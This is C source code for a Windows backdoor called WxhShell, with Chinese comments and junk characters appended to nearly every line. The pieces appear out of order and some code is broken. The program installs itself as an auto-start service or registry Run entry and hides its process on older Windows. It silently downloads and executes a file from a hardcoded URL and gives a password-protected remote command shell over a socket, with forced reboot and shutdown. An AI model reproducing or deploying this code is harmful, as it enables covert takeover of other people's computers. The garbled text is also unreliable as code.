    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !c-Ie~GIT  
    if(Boot(SHUTDOWN)) D|m6gP;P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ABN/nH  
    else { e@'rY#:u  
    closesocket(wsh); )w];eF0c  
    ExitThread(0); ''Fy]CwH(  
    } UH/)4Wg  
    break; b);Pw"_2  
    } RaT(^b(  
  // 获取shell n B4)%  
  case 's': { Y,EReamp  
    CmdShell(wsh); dd1m~Gm  
    closesocket(wsh); W$LaXytmak  
    ExitThread(0); U;Z6o1G  
    break; f"t\-ux.b  
  } vRa|lGeW  
  // 退出 p6m]( Jg  
  case 'x': { *n mr4Q'v{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); csE 9Ns  
    CloseIt(wsh); 7NC"}JB&  
    break; .|Y2'TWQ  
    } 'W>Bz,M6yo  
  // 离开 6*,'A|t?y  
  case 'q': { (+7gS_c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); & V :q}Q  
    closesocket(wsh); 1~:7W  
    WSACleanup(); !9=hUpRN  
    exit(1); {[WEA^C~Q  
    break; "3o{@TdU  
        } #g[jwl'  
  } N),bhYS]  
  } UMR0S5`}  
>m='#x0>Y  
  // 提示信息 |_L\^T|6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !xmvCH=2  
} WccTR aq  
  } `<&RZB2  
cPA-EH  
  return; Pk/{~!+ $  
} NIufL }6\  
cF!ygz//  
// shell模块句柄 =ic"K6mhq  
int CmdShell(SOCKET sock) KrE:ilm#^Y  
{ K  +n  
STARTUPINFO si; 2[f8"'lUQ  
ZeroMemory(&si,sizeof(si)); ?dMyhU}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z{:T~s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P#-9{T   
PROCESS_INFORMATION ProcessInfo; y<mmv~=  
char cmdline[]="cmd"; $;NxO0$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -q1vB8gjj  
  return 0; 5W"&$6vj  
} ~]f+   
KdU!wsKfG  
// 自身启动模式 &!> )EHGV  
int StartFromService(void) ,l`4)@{G  
{ x95[*[  
typedef struct HqNM31)  
{ N,U<.{T=A  
  DWORD ExitStatus; bM7y}P5`1  
  DWORD PebBaseAddress; o C0K!{R*  
  DWORD AffinityMask; [=*c8  
  DWORD BasePriority; 's]I:06A  
  ULONG UniqueProcessId; l H:Y8j  
  ULONG InheritedFromUniqueProcessId; gi!{y   
}   PROCESS_BASIC_INFORMATION; 2mUq$kws  
SK f9 yS#  
PROCNTQSIP NtQueryInformationProcess; pN# \  
zf-)c1$*r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l>K z5re^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fw aq  
 fp!Ba  
  HANDLE             hProcess; ozN#LIM>P  
  PROCESS_BASIC_INFORMATION pbi; R2{y1b$l  
*Pj[r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F<SMU4]YdG  
  if(NULL == hInst ) return 0; d|5V"U]W;  
j8WMGSrrF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ! bbVa/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xo{3r\u?}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); USF&;M3  
2{ ^k*Cfd  
  if (!NtQueryInformationProcess) return 0; d]Y-^&]{]  
N8a+X|3]0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p6~\U5rXm  
  if(!hProcess) return 0; Yw7+wc8R  
^Wb|Pl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L=Cm0q 3 v  
y4* }E  
  CloseHandle(hProcess); 0}:- t^P  
;Zfglid  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4+&4  
if(hProcess==NULL) return 0; Q/[|/uNw?  
&w\E*$  
HMODULE hMod; I2G4j/c=z  
char procName[255]; 9W{`$30  
unsigned long cbNeeded; LASR*  
.)Xyz d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g/H:`J  
I| j Gu9G  
  CloseHandle(hProcess); g+>$_s  
]pUf[^4  
if(strstr(procName,"services")) return 1; // 以服务启动 ,>(/}=Z.  
i}SJ   
  return 0; // 注册表启动 DY2r6bcn`  
} \-(.cj)?  
')C %CAYW  
// 主模块 ^6&?R?y  
int StartWxhshell(LPSTR lpCmdLine) cRYnQ{$'  
{ CBaU$`5  
  SOCKET wsl; Q}ebw  
BOOL val=TRUE; eu!B ,  
  int port=0; ^R\et.W`s  
  struct sockaddr_in door; i=b<Mz7|  
s9t`!  
  if(wscfg.ws_autoins) Install(); T)%34gN  
4`Com~`6"  
port=atoi(lpCmdLine); MExP'9  
+E.}k!y  
if(port<=0) port=wscfg.ws_port; so[i"ZM)  
pfd||Z  
  WSADATA data; {}F?eI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .hI3Uv8[  
Yphru"\$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1rs`|iX5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nNbOq[  
  door.sin_family = AF_INET; RmXC ^VQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "#7~}Z B  
  door.sin_port = htons(port); z"4UObVs  
~!o\uTVr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^kg[n908Nw  
closesocket(wsl); w74 )kIi  
return 1; ^`0^|u=  
} CXC,@T  
QcZ*dI7]:  
  if(listen(wsl,2) == INVALID_SOCKET) { l| 1O9I0Gd  
closesocket(wsl); #"tHT<8u  
return 1; eq^<5 f  
} _TF\y@hF*D  
  Wxhshell(wsl); t;wfp>El  
  WSACleanup(); X\X* -.]{  
GLI 5AbQK  
return 0; 7;cb^fi/  
3yNILj  
} #$!(8>YJ  
_Wcr'*7  
// 以NT服务方式启动 "`pI! nj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vc}#Ok  
{ wc #+ Yh6  
DWORD   status = 0; S *3N6*-l"  
  DWORD   specificError = 0xfffffff; dz^l6<a"n  
1pe eecE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DPENYr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IyTL|W6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t__UqCq~h  
  serviceStatus.dwWin32ExitCode     = 0; nCMv&{~  
  serviceStatus.dwServiceSpecificExitCode = 0; A`E7V}~  
  serviceStatus.dwCheckPoint       = 0; qU!*QZ^y&  
  serviceStatus.dwWaitHint       = 0; Jt4&%b-T  
6"+/Imb-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U`gQ7  
  if (hServiceStatusHandle==0) return; T &.ZeB1  
\^<eJf D  
status = GetLastError(); eow6{CD8  
  if (status!=NO_ERROR) _g+^jR4  
{ 2[WH8l+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =nQ"ye  
    serviceStatus.dwCheckPoint       = 0; }6#lE,\lM  
    serviceStatus.dwWaitHint       = 0; Z i-)PK^  
    serviceStatus.dwWin32ExitCode     = status; j$l[OZ:#  
    serviceStatus.dwServiceSpecificExitCode = specificError; /S29\^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uj!3H]d  
    return; /jJi`'{U  
  } tb;!2$  
d\FBY&C7b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F:"CaDk  
  serviceStatus.dwCheckPoint       = 0; YE<_a;yh1  
  serviceStatus.dwWaitHint       = 0; V!!E)I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J }?F4  
} *P4G}9B|9:  
c_#\'yeW  
// 处理NT服务事件,比如:启动、停止 I!IWmU6FN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ka_]s:>+  
{ gXtyl]K:  
switch(fdwControl) Q+e|;Mj  
{ plL##?<D<  
case SERVICE_CONTROL_STOP: RS&l68[6  
  serviceStatus.dwWin32ExitCode = 0; g'G"`)~ 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?-^eI!  
  serviceStatus.dwCheckPoint   = 0; FJ}RT*7_C  
  serviceStatus.dwWaitHint     = 0; w6 C0]vh  
  { GX4HW \>a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )4oTA@wR  
  } jYAD9v%  
  return; KiXXlaOs  
case SERVICE_CONTROL_PAUSE: _YVp$aKDR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #K A,=J  
  break; O+vuv,gNi  
case SERVICE_CONTROL_CONTINUE: ]Lg$p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N?`-$C ]  
  break; CRy;>UI  
case SERVICE_CONTROL_INTERROGATE: Q v/}WnBk  
  break; wOH$S=Ba5,  
}; X}?`G?'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7S[Ch}O  
} ZJev_mj  
P;R`22\3  
// 标准应用程序主函数 _8$arjx=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }eA2y($N  
{ ;q:.&dak1  
2BA'Zu`  
// 获取操作系统版本 9F8"(  
OsIsNt=GetOsVer(); f?O?2g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~m~<xtoc  
Wi3:;`>G<p  
  // 从命令行安装 \(9hg.E  
  if(strpbrk(lpCmdLine,"iI")) Install(); |KR; $e&  
8,0p14I5;  
  // 下载执行文件 (8C ,"Dc[0  
if(wscfg.ws_downexe) { \$o5$/oU(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (ly4[G1y  
  WinExec(wscfg.ws_filenam,SW_HIDE); t!MGSB~  
} }:UNL^e?  
Ii"h:GY;\  
if(!OsIsNt) { aiP.\`>}  
// 如果时win9x,隐藏进程并且设置为注册表启动 5c?1JH62o8  
HideProc(); O)g\/uRy  
StartWxhshell(lpCmdLine); D/1{v  
} 2y6 e]D  
else ml=tS,  
  if(StartFromService()) Ew>E]Ys  
  // 以服务方式启动 ?LU]O\p  
  StartServiceCtrlDispatcher(DispatchTable); OQt_nb#z`{  
else Q/EHvb]  
  // 普通方式启动 #'}?.m  
  StartWxhshell(lpCmdLine); =b{wzx}e  
P@ Oq'y[  
return 0; 1m$:Rn^  
} I5[HD_g:  
>BU"C+a8g  
,DUD4 [3  
9 06b=  
=========================================== wO6 D\#  
@BbqYX  
8PQKB*<dB"  
APydZ  
#*QnO\.  
rPf<8oH  
" :77dl/d%  
K.k%Tg[ ~  
#include <stdio.h> dtHB@\1  
#include <string.h> IKT3T_\-I  
#include <windows.h> $n |)M+d  
#include <winsock2.h> ,,_$r7H`  
#include <winsvc.h> r+6=b"  
#include <urlmon.h> B%P g:|  
V^9c:!aI  
#pragma comment (lib, "Ws2_32.lib") Z(F`M;1>xI  
#pragma comment (lib, "urlmon.lib") JHN{vB  
XcfvmlBoD-  
#define MAX_USER   100 // 最大客户端连接数 8G&'ED_&  
#define BUF_SOCK   200 // sock buffer 7[=MgnmuC  
#define KEY_BUFF   255 // 输入 buffer jQDXl  
.xnJT2uu'  
#define REBOOT     0   // 重启 ]3B8D<p  
#define SHUTDOWN   1   // 关机 L\1&$|?  
u-yVc*<,  
#define DEF_PORT   5000 // 监听端口 R(jp  
T0=8 U; =  
#define REG_LEN     16   // 注册表键长度 hfUN~89;  
#define SVC_LEN     80   // NT服务名长度 /DxaKZ ;b  
Uy  $1X  
// 从dll定义API MM_c{gFF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~?l>QP|o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8|FHr,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ''Lf6S`4X~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KxZup\\:v  
^! ?wh  
// wxhshell配置信息 ma__LWKM,  
struct WSCFG { QtM9G@%  
  int ws_port;         // 监听端口 ;- ~}g7$  
  char ws_passstr[REG_LEN]; // 口令 N@Fof(T&  
  int ws_autoins;       // 安装标记, 1=yes 0=no -_<rmR[:]  
  char ws_regname[REG_LEN]; // 注册表键名 v/NkG;NWM  
  char ws_svcname[REG_LEN]; // 服务名 rUJIf;Zwo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rn(6Fk?   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BO6u<cu"-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j5eX?bi_v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oT=XCa5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x6-bAf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~!bA<q  
' 3h"Ol{b  
}; /XfE6SBz  
rd#O ]   
// default Wxhshell configuration /)Ga<  
struct WSCFG wscfg={DEF_PORT, pAZD>15l"  
    "xuhuanlingzhe", M$@Donx  
    1, o*\Fj}l-  
    "Wxhshell", YzasT:EZN  
    "Wxhshell", zh{:zT)(1  
            "WxhShell Service", NT3Ti ?J,  
    "Wrsky Windows CmdShell Service", tv,Z>&OM  
    "Please Input Your Password: ", ZT;8Wvo  
  1, 6S`J7[  
  "http://www.wrsky.com/wxhshell.exe", ~hx__^]d  
  "Wxhshell.exe" Vifh`BSP  
    }; g!<=NVhYt  
;:2:f1_  
// 消息定义模块 aaa6R|>0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z4@%0mFll  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &\w:jI44Bs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pl2ZA)[g  
char *msg_ws_ext="\n\rExit."; $G $147z  
char *msg_ws_end="\n\rQuit."; 1MVzu7  
char *msg_ws_boot="\n\rReboot..."; eaNMcC1  
char *msg_ws_poff="\n\rShutdown..."; $0(~ID  
char *msg_ws_down="\n\rSave to "; .=I:cniw\r  
C71\9K*X  
char *msg_ws_err="\n\rErr!"; gGdt&9z %  
char *msg_ws_ok="\n\rOK!"; c5vi Y|C^  
HutwgPvy  
char ExeFile[MAX_PATH]; BAy]&q|.  
int nUser = 0; )p?p39>h  
HANDLE handles[MAX_USER]; reO^_q'  
int OsIsNt; 5:" zs  
&O&;v|!9  
SERVICE_STATUS       serviceStatus; 8Qwn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U/p|X)  
=Su~i Oa  
// 函数声明 #RN"Ul-B|  
int Install(void); A7eF.V&  
int Uninstall(void); .UdoB`@!v=  
int DownloadFile(char *sURL, SOCKET wsh); S(&]?!  
int Boot(int flag); 2%i3[N*  
void HideProc(void); q8Z,XfF^S  
int GetOsVer(void); nKR=/5a4Y  
int Wxhshell(SOCKET wsl); x{|`q9V~ N  
void TalkWithClient(void *cs); CLn}BxgD  
int CmdShell(SOCKET sock); \os iY ^  
int StartFromService(void); H0 %;t  
int StartWxhshell(LPSTR lpCmdLine); Gdi8Al]\Nl  
FxK2 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U"0Ts!CABA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ue/GB+U  
vwc)d{ND  
// 数据结构和表定义 |o5F%1o  
SERVICE_TABLE_ENTRY DispatchTable[] = *  11|P  
{ 2u=Nb0  
{wscfg.ws_svcname, NTServiceMain}, z}gfH|  
{NULL, NULL} 0/g 0=dW=  
}; 5VLJ:I?0O  
u`j9m @`  
// 自我安装 8B|qNf `Yi  
int Install(void) sy s6 V?  
{ "c'K8,+?  
  char svExeFile[MAX_PATH]; MT?;9ZV}  
  HKEY key; ^o|Gx  
  strcpy(svExeFile,ExeFile); vz^w %67&  
)ld !(d=  
// 如果是win9x系统,修改注册表设为自启动 rNl` w.  
if(!OsIsNt) { 83|7#L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P p]Ygt'u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;DG&HO   
  RegCloseKey(key); 4/Wqeq,E8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W/?\8AE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %K$f2):  
  RegCloseKey(key); kZfUwF:yN  
  return 0; bVbh| AA  
    } hj<h]dhp  
  } +OTNn@!9  
} #xlT,:_:)  
else { BY&+fK ae  
xGU~FU  
// 如果是NT以上系统,安装为系统服务 iuxS=3lT"K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r^j iK\*  
if (schSCManager!=0) A=+ |&+? t  
{ 5|pPzEA>  
  SC_HANDLE schService = CreateService %YhM?jMW  
  ( 0IP5 &[-P  
  schSCManager, HK/T`p#  
  wscfg.ws_svcname, ^Hplrwj}  
  wscfg.ws_svcdisp, AlH\IP  
  SERVICE_ALL_ACCESS, b5Sgf'B^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XoO#{7a  
  SERVICE_AUTO_START, "T?hIX/p _  
  SERVICE_ERROR_NORMAL, c-ud $0)c  
  svExeFile, [og_0;  
  NULL, p^yuz (  
  NULL, "j<l=l!  
  NULL, ahnQq9  
  NULL, \A ?B{*  
  NULL `1Cg)\&[e0  
  ); yM}Wg~:D:  
  if (schService!=0) u6pfc'GGg  
  { U,_jb}$Sq7  
  CloseServiceHandle(schService); .0gF&>I}  
  CloseServiceHandle(schSCManager); 555*IT3b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F79!B  
  strcat(svExeFile,wscfg.ws_svcname); 7/:C[J4GTN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GmJ4AYEP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $!Pm*s  
  RegCloseKey(key); G[[hC[}I  
  return 0; ;hcOD4or  
    } uv}?8$<\  
  } 10C,\  
  CloseServiceHandle(schSCManager); vp#AD9h1  
} Fhr5)Z  
} SCUsDr+.  
&E(KOfk#  
return 1; ^#Ruw?D  
} n!Dy-)!`O  
IL\2?(&Z  
// 自我卸载 1J tt\yq  
int Uninstall(void)  r*gQGvc  
{ (/oHj^>3N`  
  HKEY key; z(yJ/~m  
{imz1g;  
if(!OsIsNt) { H fg2]N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yGN2/>]  
  RegDeleteValue(key,wscfg.ws_regname); [ BpZ{Ql  
  RegCloseKey(key); jEkO #xI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |v[0(  
  RegDeleteValue(key,wscfg.ws_regname); /&`sB|  
  RegCloseKey(key); f=f8) +5  
  return 0; pm.Zc'23  
  } x?*)  
} *nj={Ss&  
} (#t"u`_Ee  
else { eMDO;q  
5ml#/kE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YaWZOuxm  
if (schSCManager!=0) ST *\Q  
{ =gYKAr^p5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1F*3K3T {  
  if (schService!=0) *G6Py,- !f  
  { Vo@gxC,  
  if(DeleteService(schService)!=0) { ^V1iOf:  
  CloseServiceHandle(schService); xlW`4\ Pa  
  CloseServiceHandle(schSCManager); 2D"n#O`y  
  return 0; S*5hO) C  
  } bJ$6[H-:  
  CloseServiceHandle(schService); oXQzCjX_   
  } _(R1En1  
  CloseServiceHandle(schSCManager); p#yq'kY  
} zHEH?xZ6sD  
} [lmghI!  
WlJ $p$I`  
return 1; zFn!>Tqe  
} 5Q9nJC{'NN  
Tf|?j=f  
// 从指定url下载文件 V^  
int DownloadFile(char *sURL, SOCKET wsh) )$.::[pNA  
{ D #`o  
  HRESULT hr; H2plT  
char seps[]= "/"; nNN~Z'bG  
char *token; V5ySOgzw,  
char *file; T=NF5kj-=  
char myURL[MAX_PATH]; </.9QV  
char myFILE[MAX_PATH]; g"F&~y/p  
+kMVl_` V  
strcpy(myURL,sURL); !b=jD;<  
  token=strtok(myURL,seps); ~o+:M0)}  
  while(token!=NULL) jgz}  
  { Zs$Qo->F  
    file=token; x+=Ko  
  token=strtok(NULL,seps); \E!a=cL!  
  } #jc+2F,+{  
4=Wtv/ 3  
GetCurrentDirectory(MAX_PATH,myFILE); ]WO0v`xh  
strcat(myFILE, "\\"); ,bLHkBK  
strcat(myFILE, file); aR2Vvo  
  send(wsh,myFILE,strlen(myFILE),0); T&ECGF;Y/  
send(wsh,"...",3,0); >Z\{P8@k0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8n[6BF);  
  if(hr==S_OK) 'pa>;{  
return 0; W`qiPLk  
else 8 BHtN  
return 1; @lYm2l^  
h8ikM&fl  
} Y%i=u:}fm  
;`{PA !>  
// 系统电源模块 %/K'VE6pb  
int Boot(int flag) &J <km  
{ C,;hNg[  
  HANDLE hToken; ]z%X%wL  
  TOKEN_PRIVILEGES tkp; 5Dhpcgq<<  
{D6E@a  
  if(OsIsNt) { kwcH$w<I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "\n,vNk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (F<VcB  
    tkp.PrivilegeCount = 1; aT]G&bR?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n{b(~eL?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;j#(%U]Vp  
if(flag==REBOOT) { _0v+g1x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |U GmIm%  
  return 0; :c vZk|b%  
} :skNEY].  
else { e13{G @  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %y{f] m  
  return 0; ':mw(`  
} T~238C{vh  
  } o9j*Yz  
  else { [\Ks+S  
if(flag==REBOOT) { {hXIP`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hJkSk;^  
  return 0; zm& D #)  
} "<#-#j  
else { WRq:xDRn0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7jj.maK  
  return 0; h6yXW! 8  
} &pL.hM^  
} :75$e%'A  
gH0' Ok'  
return 1; -=tf)  
} )r9l T*z  
\hm;p  
// win9x进程隐藏模块 ']bpsn  
void HideProc(void) !zu YO3:  
{ s!vvAD;\  
\NiW(!Z}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ?^8CD.|  
  if ( hKernel != NULL ) xb N)z  
  { SRUg2)d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f>*D@TrU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eaG_)y  
    FreeLibrary(hKernel); _7)>/YK?}4  
  } vxey $Ir  
^AI5SjOUx  
return; ZQ%4]=w  
} oCCTRLb02  
#|ppW fZQ  
// 获取操作系统版本 <l:c O$ m  
int GetOsVer(void) (O&R-5m  
{ j,]KidDWm  
  OSVERSIONINFO winfo;  1\[En/6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K4r"Q*h  
  GetVersionEx(&winfo); JGJy_.C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?4[IIX-  
  return 1; oPqWL9]  
  else )\k({S  
  return 0; ;fdROI  
} !LG 5q/}&  
l/wdu(  
// 客户端句柄模块 IbC8DDTD  
int Wxhshell(SOCKET wsl) ,y>%m;jL  
{ ;Sc}e/WJj  
  SOCKET wsh; by:"aDGK.  
  struct sockaddr_in client; DX*eN"z[  
  DWORD myID; rz@FUU:&  
$jc&Tk#  
  while(nUser<MAX_USER) dN8@ 0AMSf  
{ A;06Zrf1  
  int nSize=sizeof(client); 2 SJ N;A~}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c,v?2*<  
  if(wsh==INVALID_SOCKET) return 1; !xIK<H{*  
J&B>"s,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _3pME9l  
if(handles[nUser]==0) l{2Y[&%  
  closesocket(wsh); <\9M+  
else T[?toqkD>z  
  nUser++; P 2j"L#%  
  } 8Hdm(>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <$V!y dO  
w;p: 4`  
  return 0; hHu?%f*  
} }#b[@3/T  
FC +}gJ(q  
// 关闭 socket Fm|h3.`V  
void CloseIt(SOCKET wsh) q JdC5z\[  
{ ,4OH9 -Q1  
closesocket(wsh); ]1^F  
nUser--; "1-gMob  
ExitThread(0); (]Pr[xB  
} ++m^z` D  
snH9@!cG8  
// 客户端请求句柄 77]6_  
void TalkWithClient(void *cs) HW@r1[Y  
{ )Rlh[Y& r  
1 m>x5Dbk!  
  SOCKET wsh=(SOCKET)cs; ^z _m<&r  
  char pwd[SVC_LEN]; #},4m  
  char cmd[KEY_BUFF]; kT=KxS{  
char chr[1]; 1 luRTI8^  
int i,j; }Qqi013E L  
&>YdX$8x  
  while (nUser < MAX_USER) { A~!v+W%vO1  
.!B>pp(9  
if(wscfg.ws_passstr) { (FY<% .Pa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) ]y^RrD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yp;6.\Z8[  
  //ZeroMemory(pwd,KEY_BUFF); dw"Tv ~  
      i=0; TTfU(w%&P  
  while(i<SVC_LEN) { Yu`KHvur  
ZQVr]/W^r  
  // 设置超时 o)M=; !  
  fd_set FdRead; /`2t$71)  
  struct timeval TimeOut; |)4aIa  
  FD_ZERO(&FdRead); TA~FP#.  
  FD_SET(wsh,&FdRead); .*x |TPv{  
  TimeOut.tv_sec=8; (Cc!Iw'0M  
  TimeOut.tv_usec=0; `1hM3N.nO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nXg:lCI-uu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ uF$m/g  
x+%(z8wD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l)d(N7HME  
  pwd=chr[0]; 4(hHp6}b  
  if(chr[0]==0xd || chr[0]==0xa) { W pdn^=dhL  
  pwd=0; 1B5 ]1&M  
  break; zG|#__=T  
  }  d.)%C]W{  
  i++; e=).0S`*F  
    } X`+8r O[  
xc&&UKd  
  // 如果是非法用户,关闭 socket E[nJ'h<h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x3QQ`w-  
} S+LS!b  
mT3'kUZ}]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z+=wql*Eo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6z-&Zu7@  
KJLC2,  
while(1) { kuZs30^  
]6*+i $  
  ZeroMemory(cmd,KEY_BUFF); }23#z  
-!s?d5k")  
      // 自动支持客户端 telnet标准   +J+[fbqX  
  j=0; (TF;+FRW  
  while(j<KEY_BUFF) { FL/395 <:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,5 ylrE  
  cmd[j]=chr[0]; Tg-HR8}X  
  if(chr[0]==0xa || chr[0]==0xd) { ^gu;  
  cmd[j]=0; >~vZ+YO  
  break; tw*n+{]hi  
  } 8euh]+  
  j++; O\5q_>]  
    } ?04$1n:  
EYaX@|)  
  // 下载文件 L*'3f~@Q  
  if(strstr(cmd,"http://")) { 8YLS/dN0 w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /5s,< 0Kz  
  if(DownloadFile(cmd,wsh)) \qA^3L~;5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G#f(oGn :  
  else +'!4kwTR  
